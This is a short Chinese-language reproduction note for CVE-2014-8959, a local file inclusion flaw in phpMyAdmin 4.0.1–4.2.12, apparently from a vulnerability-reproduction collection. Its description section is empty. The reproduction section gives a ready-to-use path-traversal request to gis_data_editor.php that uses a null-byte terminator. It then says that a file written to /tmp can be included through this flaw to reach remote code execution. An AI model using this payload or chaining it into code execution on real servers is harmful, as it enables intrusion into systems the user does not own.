009-（CVE-2014 -8959）Phpmyadmin 本地文件包含漏洞.md

493 B / 2021-07-17 00:01:24

    # （CVE-2014 -8959）Phpmyadmin 本地文件包含漏洞

## 一、漏洞简介

## 二、漏洞影响

* phpMyAdmin 4 .0.1--4 .2.12
* PHP version 

### 三、复现过程


```
/gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=
/../../../../phpinfo.txt%00    # 注意改下token值
```

在实际利用中可以利用写入文件到 /tmp 目录下结合此漏洞完成 RCE，php 版本可以通过 http header、

导出表内容到文件的附加内容看到。